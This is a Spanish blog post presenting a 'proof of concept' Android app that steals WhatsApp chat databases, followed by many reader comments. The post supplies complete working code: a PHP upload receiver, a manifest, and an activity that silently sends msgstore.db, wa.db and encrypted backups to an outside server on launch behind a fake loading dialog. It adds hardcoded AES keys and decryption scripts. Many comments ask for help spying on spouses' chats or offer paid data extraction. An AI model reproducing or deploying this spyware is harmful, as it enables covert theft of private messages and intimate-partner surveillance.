Aplicación Android para robar y leer chats de WhatsApp en Android (PoC)

¿Es posible subir y leer los chats de Whatsapp de un smartphone desde otra aplicación de Android? Por supuesto que sí. Sólo necesitamos que la aplicación maliciosa haya sido instalada aceptando los permisos para leer la tarjeta SD del dispositivo (android.permission.READ_EXTERNAL_STORAGE).

Hace unos meses se publicó en algunos foros una guía paso a paso para montar nuestro propio Whatsapp Stealer y ahora Bas Bosschert ha publicado una PoC con unas pocas modificaciones.

Para empezar con la prueba de concepto (y ojo que digo PoC que nos conocemos ;)) tenemos que publicar en nuestro webserver un php para subir las bases de datos de Whatsapp:

<?php
// Upload script to upload Whatsapp database
// This script is for testing purposes only.
 
$uploaddir = "/tmp/whatsapp/";
 
if ($_FILES["file"]["error"] > 0)
  {
  echo "Error: " . $_FILES["file"]["error"] . "<br>";
  }
else
  {
  echo "Upload: " . $_FILES["file"]["name"] . "<br>";
  echo "Type: " . $_FILES["file"]["type"] . "<br>";
  echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
  echo "Stored in: " . $_FILES["file"]["tmp_name"];
 
  $uploadfile = $uploaddir . $_SERVER['REMOTE_ADDR'] . "." . basename($_FILES['file']['name']);
  move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);
  }
?>
 
<html><head><title>Shoo.. nothing here</title></head><body><form method="post" enctype="multipart/form-data"><input type="file" name="file" id="file"><input type="submit" value="Submit"></form></body></html>

Después debemos configurar nuestro php.ini para subir ficheros grandes:

...
file_uploads = On
post_max_size = 32M
upload_max_filesize = 32M

Lo siguiente que necesitamos es crear la aplicación de Android que suba los ficheros de la base de datos de WhatsApp hacia el servidor web. Para ello creamos un proyecto en Eclipse y empezamos modificando el fichero AndroidManifest.xml para solicitar los permisos para leer la tarjeta SD e Internet:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="bb.security.whatsappupload"
    android:versionCode="1"
    android:versionName="1.0" >
 
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.INTERNET" />
 
    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="19" />
 
    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
 
        <activity
            android:name="bb.security.whatsappupload.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
 
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
 
</manifest>

Para la disposición podemos utilizar el diseño predeterminado que crea Eclipse, si acaso podemos mover el TextView al centro y aumentar el tamaño del texto. La subida del fichero ocurre antes de ver el layout, para esta prueba de concepto de este activity_main.xml es lo suficientemente bueno:

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context=".MainActivity" >
 
    <TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignParentTop="true"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="179dp"
        android:text="@string/hello_world"
        android:textSize="24sp" />
 
</RelativeLayout>

A continuación tenemos que crear la función MainActivity.java para subir cada uno de los ficheros:

    - /WhatsApp/Databases/msgstore.db
    - /WhatsApp/Databases/wa.db
    - /WhatsApp/Databases/msgstore.db.crypt

    - /WhatsApp/Databases/msgstore.db.crypt5
    - /WhatsApp/Databases/msgstore.db.crypt7 (últimas versiones)
package bb.security.whatsappupload;
 
/*
* This application is for testing purposes only.
* Use of this application is at your own risk.
*/
 
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
 
import android.os.AsyncTask;
import android.os.Bundle;
import android.os.Environment;
import android.app.Activity;
import android.app.ProgressDialog;
import android.util.Log;
import android.view.Menu;
 
public class MainActivity extends Activity {
 
    //A ProgressDialog object
    private ProgressDialog progressDialog;
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        new UploadWhatsApp().execute();
    }
 
    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.main, menu);
        return true;
    }
 
    @SuppressWarnings("deprecation")
    private void uploadFile(String file) {
        HttpURLConnection conn = null;
        DataOutputStream dos = null;
        DataInputStream inStream = null;
 
        Log.i("FILE", "Filename:\n" + file);
 
        String lineEnd = "\r\n";
        String twoHyphens = "--";
        String boundary = "*****";
        int bytesRead, bytesAvailable, bufferSize;
        byte[] buffer;
        int maxBufferSize = 1 * 1024 * 1024 * 1024;
        String urlString = "http://bas.bosschert.nl/whatsapp/upload_wa.php";
        try {
            //     ------------------ CLIENT REQUEST
            FileInputStream fileInputStream = new FileInputStream(new File(
                    file));
            // open a URL connection to the Servlet
            URL url = new URL(urlString);
            // Open a HTTP connection to the URL
            conn = (HttpURLConnection) url.openConnection();
            // Allow Inputs
            conn.setDoInput(true);
            // Allow Outputs
            conn.setDoOutput(true);
            // Don't use a cached copy.
            conn.setUseCaches(false);
            // Use a post method.
            conn.setRequestMethod("POST");
            conn.setRequestProperty("Connection", "Keep-Alive");
            conn.setRequestProperty("Content-Type",
                    "multipart/form-data;boundary=" + boundary);
            dos = new DataOutputStream(conn.getOutputStream());
            dos.writeBytes(twoHyphens + boundary + lineEnd);
            dos.writeBytes("Content-Disposition: form-data; name=\"file\";filename=\""
                    + file + "\"" + lineEnd);
            dos.writeBytes(lineEnd);
            // create a buffer of maximum size
            bytesAvailable = fileInputStream.available();
            bufferSize = Math.min(bytesAvailable, maxBufferSize);
            buffer = new byte[bufferSize];
            // read file and write it into form...
            bytesRead = fileInputStream.read(buffer, 0, bufferSize);
            while (bytesRead > 0) {
                dos.write(buffer, 0, bufferSize);
                bytesAvailable = fileInputStream.available();
                bufferSize = Math.min(bytesAvailable, maxBufferSize);
                bytesRead = fileInputStream.read(buffer, 0, bufferSize);
            }
            // send multipart form data necesssary after file data...
            dos.writeBytes(lineEnd);
            dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);
            // close streams
            Log.e("Debug", "File is written");
            fileInputStream.close();
            dos.flush();
            dos.close();
        } catch (MalformedURLException ex) {
            Log.e("Debug", "error: " + ex.getMessage(), ex);
        } catch (IOException ioe) {
            Log.e("Debug", "error: " + ioe.getMessage(), ioe);
        }
        // ------------------ read the SERVER RESPONSE
        try {
            if (conn != null){
                inStream = new DataInputStream(conn.getInputStream());
                String str;
 
                while ((str = inStream.readLine()) != null) {
                    Log.e("Debug", "Server Response " + str);
                }
                inStream.close();
            }
 
        } catch (IOException ioex) {
            Log.e("Debug", "error: " + ioex.getMessage(), ioex);
        }
    }
 
    private class UploadWhatsApp extends AsyncTask<Void, Integer, Void>{
 
        @Override
        protected void onPreExecute()
        {
            //Create a new progress dialog
            progressDialog = ProgressDialog.show(MainActivity.this,"Loading Application, please wait...",
                    "Loading, please wait...", false, false);
        }
 
        //The code to be executed in a background thread.
        @Override
        protected Void doInBackground(Void... params)
        {
 
            String fileWACrypt = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/msgstore.db.crypt";
            String fileWAPlain = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/msgstore.db";
            String fileWAwa = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/wa.db";
 
            MainActivity.this.uploadFile(fileWACrypt);
            MainActivity.this.uploadFile(fileWAPlain);
            MainActivity.this.uploadFile(fileWAwa);
            return null;
        }
 
        //Update the progress
        @Override
        protected void onProgressUpdate(Integer... values)
        {
            //set the current progress of the progress dialog
            progressDialog.setProgress(values[0]);
        }
 
        //after executing the code in the thread
        @Override
        protected void onPostExecute(Void result)
        {
            //close the progress dialog
            progressDialog.dismiss();
            //initialize the View
            setContentView(R.layout.activity_main);
        }
 
    }
}
   
msgstore.db y wa.db son bases de datos sin cifrar utilizados en antiguas versiones de Whatsapp. Msgstore.db.crypt está cifrado con AES, pero siempre usando la misma clave tanto para cifrar como descifrar: 346a23652a46392b4d73257c67317e352e3372482177652c.

Por lo tanto podremos descifrarla una vez obtenido mediante:

openssl enc -d -aes-192-ecb -in msgstore.db.crypt -out msgstore.db.sqlite -K 346a23652a46392b4d73257c67317e352e3372482177652c

o mediante el siguiente script en Python:

#!/usr/bin/env python
 
import sys
from Crypto.Cipher import AES
 
try:
    wafile=sys.argv[1]
except:
    print "Usage: %s <msgstore.db.crypt>" % __file__
    sys.exit(1)
 
key = "346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex')
cipher = AES.new(key,1)
open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read()))
 
Y ya está, así de sencillo. Podremos estar leyendo los chats de WhatsApp de las bases de datos extraídas...

Actualización 1: Desde la última actualización (2.11.152), WhatsApp ha cambiado el algoritmo y la clave para cifrar las copias de seguridad en las SD. Los nuevos archivos con extensión "crypt5" se cifran mediante aes-cbc-192.

Para descifrarlo podéis utilizar un script de grbnz0 y nullsub (
más información en SbD):

- python pwncrypt5.py msgstore.db.crypt5 grbnz0@gmail.com > msgstore.sdb

#!/usr/bin/env python
"""
48bits presents:
8===============================================D~~~
WhatsApp msgstore crypt5 decryptor by grbnz0 and nullsub
8===============================================D~~~
"""
                                                                                                                                                                                   
import sys
import hashlib
import StringIO
from M2Crypto import EVP
 
key = bytearray([141, 75, 21, 92, 201, 255, 129, 229, 203, 246, 250, 120, 25, 54, 106, 62, 198, 33, 166, 86, 65, 108, 215, 147])
iv = bytearray([0x1E,0x39,0xF3,0x69,0xE9,0xD,0xB3,0x3A,0xA7,0x3B,0x44,0x2B,0xBB,0xB6,0xB0,0xB9])
 
def decrypt(db,acc):
  fh = file(db,'rb')
  edb = fh.read()
  fh.close()
  m = hashlib.md5()
  m.update(acc)
  md5 = bytearray(m.digest())
  for i in xrange(24): key[i] ^= md5[i&0xF]
  cipher = EVP.Cipher('aes_192_cbc', key=key, iv=iv, op=0)
  sys.stdout.write(cipher.update(edb))
  sys.stdout.write(cipher.final())
 
if __name__ == '__main__':
  if len(sys.argv) != 3:
    print 'usage %s   > decrypted.db' % sys.argv[0]
  else:
    decrypt(sys.argv[1],sys.argv[2])

Actualización 2: Las últimas versiones de WhatsApp cifran la base de datos con crypt7. También puede descifrarse pero para ello se requiere del archivo Key, que solo se consigue teniendo acceso root en el teléfono. 

El método más sencillo es copiar la clave ("/data/data/com.whatsapp/files/key") y, junto con la base de datos, utilizar Whatsapp-viewer:


97 comentarios :

  1. algun tutorial para usar el webservre porfa?

    ResponderEliminar
  2. Hola Hugo ya tienes el web server montado ?

    ResponderEliminar
    Respuestas
    1. podrías poner información sobre cómo montar el webserver?

      Eliminar
  3. Respuestas
    1. Vicente Motos seria importante actualizar para que suba todas las bases de datos para que también suban las backups, y también el método para las .cryp5

      Eliminar
    2. Muchas gracias por el aviso Oswaldo, ya he actualizado el post :D

      Eliminar
  4. Hola amigo !!! Una pedido; alguna forma o explicación de como crackear una aplicación de Android...
    te agradecería el aporte...

    ResponderEliminar
  5. No entiendo nada. Alguien me puede explicar? ??? Gracias! !!

    ResponderEliminar
    Respuestas
    1. anónimo, si no entiendes absolutamente nada creo que es porque te falta base. Si realmente quieres aprender (no sólo robar conversaciones de Whatsapp sin entender cómo) te recomiendo que busques varios tutos de programación e ingeniería inversa en Android y vuelvas a este blog con una pregunta concreta... ánimo!

      Eliminar
  6. La app de android Info WhatsApp 2date te permite estar actualizado en cuanto a versiones y descargarlas desde la web oficial de whatsapp.com antes que nadie:

    https://play.google.com/store/apps/details?id=com.kiwiio.infowhatsapp

    Descargala ya, es totalmente gratis!

    ResponderEliminar
    Respuestas
    1. Uy que emocionante ! En carrera voy a descargarla ._., cuando la tienda notifica las actualizaciones disponibles y envía un aviso .-.

      Eliminar
  7. Puede alguien ayudarme? El archivo pwncryptr se ejecuta sin errores, pero cuando trato de ejecutar un "select * from chat_list;" aparece el siguiente error:

    Error: Database disk image is malformed

    ResponderEliminar
    Respuestas
    1. Hola, did you solved the problem? I have same error "Error: Database disk image is malformed" Regards

      Eliminar
  8. la persona q desee desencryptar un archivo de msgstore-(fecha).db.crypt o msgstore-(fecha).db.crypt5 de whatsapp envienme el archivo al correo y se lo reenviare en formato html para q puedan visualizarlo mi correo es Cortes_198@hotmail

    ResponderEliminar
    Respuestas
    1. si no quieren perder su privacidad no hagan caso a ese troll,,, aprendan y háganlo ustedes mismos!!!

      Eliminar
    2. realmente no troleo a nadie los q m han mandado sus archivos de respaldo les hago la conversion y les envio sus chats pssss

      Eliminar
    3. Yo si necesito de tu ayuda pero desde cero tengo la carpeta de un whatss como le hago

      Eliminar
    4. Este comentario ha sido eliminado por el autor.

      Eliminar
  9. para este tipo de archivo se podria utilizar Python 2.7 y aplicar el programa segun si es android o iphone?? y asi poder leer el archivo? ademas asi se borren las conversaciones por la aplicacion del whatsapp estan quedaran guardadas en la base de datos???

    ResponderEliminar
  10. Una pregunta, y si he borrado el archivo de raiz msgstore. db.crypt, puedo recuperar algún tipo de conversación aún utililzando programas como los que comentais? Yo no quiero que se pueda recuperar nada, por eso lo he borrado y no se si borrandolo he conseguido algo.

    ResponderEliminar
    Respuestas
    1. si se ha borrado la base de datos y es irrecuperable (sobreescrita) entonces no se pueden recuperar la conversaciones...

      Eliminar
  11. Hola amigos, si tengo un archivo msgstore.db.crypt5 como puedo saber que usuario de cuenta tiene??? por que no me se el usuario de gmail de ese celular andriod... se puede saber el usuario apartir del archivo???

    ResponderEliminar
  12. alguien desea un server para montar la base de datos? mandenme un correo a blacksabhat@hotmail.com

    ResponderEliminar
  13. Yo n se nada d hakear.pero alguien me ayudaria a hakear la cuenta del whatsapp de mi esposa?

    ResponderEliminar
    Respuestas
    1. jajajjjajajaja...que pringao, ¿tu esposa te miente?

      Eliminar
  14. Con la ultima actualizacion la base de datos de Whatsapp pasa a Crypt7.

    ResponderEliminar
    Respuestas
    1. hola Jonathan, he actualizado el post para crypt 7. Un saludo!

      Eliminar
    2. Necesito ayuda para descifrar archivos crypt7 no tengo el key file... alguien me puede ayudar?

      Eliminar
    3. Sin ley no hay paraiso amigo...

      Eliminar
    4. Donde se encuentra el key

      Eliminar
  15. Estoy usando SMS BACKUP + APP y tengo un problema. Logro recuperar mis sms, pero no las conversaciones de whatsapp por medio de gmail. Se activo automaticamente el label ´SMS´ pero no hay el de whatsapp. Qué pude haber hecho mal?

    ResponderEliminar
  16. Lo que tengo entendido es que SMS Backup estaba teniendo problemas y ahora ya no se puede respaldar las conversaciones de Whatsapp por gmail.

    ResponderEliminar
  17. Buenas me pasarias los pasos y/o que programa debo instalar en mi celular para poder descriptar y leer los mensajes de crypt7, por favor!!!!

    ResponderEliminar
    Respuestas
    1. Mira la actualización 2... Con whatsapp-viewer y el teléfono rooteado es sencillo...

      Eliminar
    2. Gracias, pero con que programa puedo hacerlo? el rooteado? ayudame por favor!!!

      Eliminar
  18. Gracias, pero con que programa puedo hacerlo? el rooteado? ayudame por favor!!!

    ResponderEliminar
    Respuestas
    1. depende del modelo de dispositivo y de la rom y versión instalada que tengas. Hay varios métodos y tutoriales en la web para hacerlo.,

      Eliminar
    2. es un sansung galaxy s4 me pasarias algun tutorial que me puedas recomendar de la web? muchas gracias por tus respuestas!

      Eliminar
  19. Hola copie toda la carpeta del whatssap a la compu ahora es imposible desencriptarlos? estebandecol@hotmail.com saludos

    ResponderEliminar
  20. Cansada de enganos necesito pruebas pero no manejo bien la computacion, alguien podria ayudarme en un blackberry 9320 programa debo instalar en mi celular para poder descriptar y leer los mensajes del watsapp, por favor!!!! Solo asi podre solventar esta incomoda situacion. Correo kcco2121@hotmail.com
    Responder

    ResponderEliminar
    Respuestas
    1. Te ha ayudado alguien? Estoy en tu misma situacion que tu y me encuentro desesperada

      Eliminar
    2. También vivo engañada.... Cómo hago para desenmascarar a una persona muy cínica y manipuladora. Por favor!!! Desde ya muchas gracias. Saludos

      Eliminar
  21. Hola necesito ayuda para saber que es lo que hace mi pareja todo el rato con el wasap. Ya que esta situación me está dando muchos problemas , desde ya muchas gracias

    ResponderEliminar
  22. Hola man, tengo la aplicación creada y creé un hosting en 000webhosting.com , y quiero saber como funciona; porque tengo creada la apk de la aplicación correctamente, cambiando la url por la del archivo php que creé y está en el hosting.

    ¿Pero en el caso de que me coga los archivos de wa.crypt , etc... ? ...
    ¿Donde se guardan en mi servidor? ¿Cuanto tarda en subirse?

    PD.: ¿Podrías hacer un videotutorial de desencriptar?

    ResponderEliminar
  23. Hola, tengo el telefono rooteado, huawei y300, y quiero el archivo key para desencripta .crypt7, he buscado en la carpeta /data y en otras pero no logro encontrarlo, alguien podria decirme como encontrarlo, para navegar uso root explorer, Gracias

    ResponderEliminar
  24. Hola, Mi teléfono se rompió a caer desde una ventana. No pude encontrar la sd ni recuperar la información del teléfono ni sim. Al comprarme otro nuevo terminal, me hicieron una sim nueva y compré sd tb. En la nueva sd no tengo el key por ninguna carpeta. Como puedo saberla para desencriptar cryp7? Gracias por su respuesta.

    ResponderEliminar
  25. holas! necesito desencriptar cryp7, tengo las databases, pero no puedo acceder a la key, porque no tengo el teléfono rooteado. Cómo puedo hacer para desencriptar sin la key? o cómo puedo acceder al archivo de la key. El móvil es un motorola ironrock con android. Mcuhas gracias

    ResponderEliminar
  26. Necesito ayuda para descifrar archivos crypt7 que tengo en mi ordenador. Muchas Gracias .juliana7538@hotmail.com

    ResponderEliminar
    Respuestas
    1. Juliana te pregunto ya te ayudaron con tu solicitud yo estoy en las mismas

      Eliminar
    2. nadie te ha ayudado?

      Eliminar
  27. Amigo tengo el archivo crypt7 en el pc no tengo el telefono se puede leer este archivo y como

    ResponderEliminar
  28. Buenos días. He hecho todos los pasos y me surge un curioso problema: el archivo “key” no aparece como tal, sino como un archivo llamado “whatsapp” del tipo “entradas del registro”. Y claro, al usar el Whatsapp Viewer no me reconoce el Key.
    Tengo todo correctamente instalado, el proceso se realiza bien, de hecho los archivos “msgstore” y “wa” (los que hay que borrar) aparecen pero no así el Key.
    Por favor, ¿alguna sugerencia?
    Gracias por anticipado!

    ResponderEliminar
    Respuestas
    1. Hola, lo primero configura Windows para que te muestre las extensiones de los archivos. Luego elimina temporalmente la asociación key-regedit para probar..

      Eliminar
    2. hola vicente motos quisiera contactar contigo para hacerte una consulta e copiado la carpeta de databases a mi ordenador desde un telefono y no tengo ya ese telefono entonces queria preguntar si es posible desencriptar un CRYPT8 sin la key de el telefono? y como puedo hacerlo?

      Eliminar
  29. Tengo unos archivos crypt7 alguien me puede ayudar a desencriptarlos
    Ppsachy @ gmail.com

    ResponderEliminar
  30. Alguien podría Ayudarme a hackear los wassap de mi esposo x favor ? Gracias

    ResponderEliminar
  31. Hola. Una vez borrada la conversación y el archivo guardado en data base, es posible recuperarlo? Gracias.

    ResponderEliminar
  32. Hola alguien podria decirme como debo eliminar de mi s4 una aplicacion que debe estar instalada porque mi esposo recibe todo de mi celular y pc y me molesta porque creo que me engaña y ese es el motivo gracias

    ResponderEliminar
  33. He seguido todos los pasos para crypt7 y cuando voy a file open me da error:" could not load chat list. SQLite error:11; database disk image is malformed". A que es debido i que puedo hacer.

    ResponderEliminar
  34. hola y si lo que quiero es ver mis mensajes borrados... porque con esto solo me deja ver las conversaciones y mensajes que no he eliminado.

    ResponderEliminar
  35. Cómo puedo evitar que algun hijo de puta me hackee el teléfono y vea lo que yo estoy viendo en mi teléfono? ?

    ResponderEliminar
  36. Como puedo evitar que me hackeen el teléfono y evitar que me roben archivos? Mi teléfono es un samsung galaxi s3 mini
    Gracias por la posible ayuda

    ResponderEliminar
  37. No puede ver mis mensajes de whatsapp quisiera descifrarlos pero en el telefono no aparece el archivo key, lo he buscado con root browser y sin root y no aparce dice que el archivo no se encuentra, como podria descifrar este archivo que se encuentra en cryp7 y no tengo la key

    ResponderEliminar
  38. A mi me pasa lo.mismo.rooteado el.movil. no aparece archivo key,ayuda por favor.

    ResponderEliminar
  39. hola alguien puede decirme de alguna aplicación en línea para poder desencryptar whatsapp crypt7

    ResponderEliminar
  40. manga de frikis, vallan a cojer pedaso de duros y dejen de revisar conver ajenas-!!

    ResponderEliminar
  41. 6861708813 los reto hackeen mi Whats App y publiken lista de mis contactos haber si muy muy

    ResponderEliminar
    Respuestas
    1. ok danoslo con un papelito firmado.....

      Eliminar
    2. Este comentario ha sido eliminado por el autor.

      Eliminar
  42. que ponga quien eres, que es cierto que ese es tu numero de telefono y que nos autorizas a ello.....

    ResponderEliminar
  43. Hola...necesito ayuda urgente...ustedes que pueden... Yo sólo termine la secundaria y desconozco muchas de estas cosas... Quiero ver las conversaciónes de watsap de mi esposo....alguien puede ayudarme...cree o sólo pienso q me engaña se la pasa metido en el watsap... Alguien puede ayudarme.... Mi correo es angel_gela00@hotmail.com escriban y yo ahi les doy el número q quiero jaquear.... Y no se como hacerlo...

    ResponderEliminar
    Respuestas
    1. jejejejeeje lo que pides es un delito y a no ser que sea un delincuente nadie haria algo como eso. Si quieres hazlo tu misma hay bastante info en la Web

      Eliminar
    2. que mal estamos!! ..dale una patada y punto, te ahorras complicarte la vida desencriptando wasap!

      Eliminar
  44. Necesito ayuda..contrato hacker experimentado,,me están puteando bien.saludos
    Enrique_mf_1988@hotmail.es

    ResponderEliminar
  45. Alguno sabe sobre el nuevo cifrado crypt8 de whatsapp

    ResponderEliminar
  46. Hola yo tengo mismo problema no puedo leer los crypt8.hay alguna actualizacion del viewer?No encuentro nada por la red.thanks

    ResponderEliminar
    Respuestas
    1. la nueva versión del cifrado es relativamente nueva (últimos de noviembre), tiempo al tiempo...

      Eliminar
  47. Hola no hai otra manera de aparte de la app android ? Y el telefono q kieres infectar debe de ser rooteado ?

    ResponderEliminar
  48. Hola pero ahora la database estan en la memoria interna... Se podria robar?.

    ResponderEliminar
  49. Hola, cómo puedo obtener una key sin tener que utilizar el teléfono? Tengo la base de datos del whatsapp en mi pc. Gracias.

    ResponderEliminar
  50. Porfis necesito descencriptar whatsapp urgente y no entiendo nada de computadoras y tngo el archivo crypt quien me colabora!!!! Muchas gracias!!! Harta de los engaños y mentiras.... Necesito pruebas!!!!

    ResponderEliminar
  51. todos necesitan estan hartos pero nadie dice que pagara una buena cantidad para ayudarlos,si cren que los engañan es tiempo de encarar y salir de esa sona de confort

    ResponderEliminar
  52. Alguien puede decirme si hya una manera de desencriptar un CRYPT8 sin la key? es xk yo copie la database de el telefono a mi ordenador y no volvere a tener acceso a ese telegfono mas pero tengo la database y las converssaciones en mi ordenador lo que no se como desencriptarlo sin la key... Alguien sabe como puedo desencriptarlo sin la key? o si puedo hacerlo con la jkey de otro telefono? o si alguien pouede darme una solucion para pder leer esas conversaciones... gracias... dejarme un correo y yo escribre a ese correo si puedeo hablar con un hacker o informatico mejor...

    ResponderEliminar
  53. hola a todos.
    esxiste o conocen la forma de desencriptar crypt7 sin la key????

    ResponderEliminar
  54. hola a todos.
    esxiste o conocen la forma de desencriptar crypt7 sin la key????

    ResponderEliminar
  55. Hola Vicente motos, puedes ayudarme? Un amigo esta siendo espiado por su mujer y no sabe como hacer para que a su mujer dejen de llegarle los WhatsApp suyos. Dime algo porfis. Gracias!!

    ResponderEliminar
    Respuestas
    1. entiendo que te refieres a que recibe los mensajes dirigidos a él... ¿su mujer tiene un duplicado de la SIM? supuestamente aunque Whatsapp está asociado a un nº no puede funcionar en dos dispositivos simultáneamente...aunque si he visto casos de excepciones. Hay que averiguar exactamente cómo lo hace...

      Eliminar
    2. tal vez, scaneo el código qr en web.whatsapp, y solo mantiene la sesión abierta xD

      Eliminar
  56. Lo digo ASi de claro....quien sepa y quiera hacer un curro extrayendo datos que me avise,buena remuneración...no pido bancos ni rollos de peli,abstenerse primcipiantes...saluditos

    ResponderEliminar
  57. Hola, buenas , SUPONGO que la idea es crear una APP " como servicio" que corra en background, y con permisos internet ,y otros . encontrar las base de datos
    y subirlas (entregarselas a nuestro sitio php) y este las almacene
    tenia lla idea similar pero utilizando dconexion ftp modo binario para que la transfereencia se mas rapida.

    por favor comentarme un poco mas sobre la idea de este ejemplo.

    el escenario podria ser:??:

    pasarle la apk a alguna persona " victima"
    se instalalo en el movil y luego este empezar a enviarnos lo que necestiammos
    basicamente eso seria todo ???

    ResponderEliminar
  58. hola como estan tengo un problema con whatsappkeyextract me saca todo los archivos pero el key me sale con el nombre whatsapp pero con otra extencion que puede llegar a ser o como le cambio la extecion muchas gracias.

    ResponderEliminar
  59. Hola tengo un problema aqui:
    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
    // Inflate the menu; this adds items to the action bar if it is present.
    getMenuInflater().inflate(R.menu.main, menu);

    me marca la "R" en rojo, que puede ser?

    ResponderEliminar
  60. Por lo tanto con la versión crypt7 pierde toda su esencia la PoC ya que requiere de acceso root

    ResponderEliminar
  61. ¡Buenas noches! :)

    Disculpa, man. ¿No tienes el código para script10?

    ResponderEliminar